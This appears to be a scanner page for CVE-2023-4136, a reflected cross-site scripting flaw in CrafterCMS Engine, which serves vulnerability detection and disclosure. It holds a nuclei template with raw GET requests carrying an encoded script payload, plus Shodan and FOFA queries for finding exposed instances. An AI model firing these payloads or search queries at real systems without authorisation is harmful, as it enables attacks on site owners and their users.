CrafterCMS Engine - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

CrafterCMS Engine is vulnerable to reflected cross-site scripting (XSS) via the transformerName parameter in the /api/1/site/url/transform endpoint, allowing attackers to execute arbitrary JavaScript in the context of the user.

Impact

Unauthenticated attackers can inject malicious JavaScript through the transformerName parameter in various API endpoints to steal CrafterCMS user credentials and session data.

Fix

Update CrafterCMS Engine to the latest version that addresses this vulnerability.

How to confirm it

Send: GET /api/1/site/url/transform?transformerName=%3Cscript%20xmlns%3D%22http%3A//www.w3.org/1999/xhtml%22%3Ealert(document.domain)%3C/script%3E&url= ; GET /api/1/site/content_store/children?url=%3Cscript%20xmlns%3D%22http%3A//www.w3.org/1999/xhtml%22%3Ealert(document.domain)%3C/script%3E ; GET /api/1/site/content_store/item?url=%3Cscript%20xmlns%3D%22http%3A//www.w3.org/1999/xhtml%22%3Ealert(document.domain)%3C/script%3E
Positive when: status_code == 500 || status_code == 404 and contains(content_type, "application/xhtml+xml") and contains(body, "<script xmlns=\"http://www.w3.org/1999/xhtml\">alert(document.domain)</script>") and c…

Run it with nuclei: nuclei -id CVE-2023-4136 -u <target>

The full check

id: CVE-2023-4136

info:
  name: CrafterCMS Engine - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    CrafterCMS Engine is vulnerable to reflected cross-site scripting (XSS) via the transformerName parameter in the /api/1/site/url/transform endpoint, allowing attackers to execute arbitrary JavaScript in the context of the user.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the transformerName parameter in various API endpoints to steal CrafterCMS user credentials and session data.
  remediation: |
    Update CrafterCMS Engine to the latest version that addresses this vulnerability.
  reference:
    - https://karmainsecurity.com/KIS-2023-09
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4136
  classification:
    cve-id: CVE-2023-4136
    cwe-id: CWE-79
    epss-score: 0.0142
    epss-percentile: 0.73049
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 6.1
  metadata:
    verified: true
    max-request: 1
    vendor: craftercms
    product: craftercms
    shodan-query: http.html:"craftercms"
    fofa-query: body="craftercms"
  tags: cve,cve2023,craftercms,xss,vuln

http:
  - raw:
      - |
        GET /api/1/site/url/transform?transformerName=%3Cscript%20xmlns%3D%22http%3A//www.w3.org/1999/xhtml%22%3Ealert(document.domain)%3C/script%3E&url= HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml

      - |
        GET /api/1/site/content_store/children?url=%3Cscript%20xmlns%3D%22http%3A//www.w3.org/1999/xhtml%22%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml

      - |
        GET /api/1/site/content_store/item?url=%3Cscript%20xmlns%3D%22http%3A//www.w3.org/1999/xhtml%22%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500 || status_code == 404'
          - 'contains(content_type, "application/xhtml+xml")'
          - 'contains(body, "<script xmlns=\"http://www.w3.org/1999/xhtml\">alert(document.domain)</script>")'
          - 'contains_any(body, "Url transformer", "No folder found at", "No item found at")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from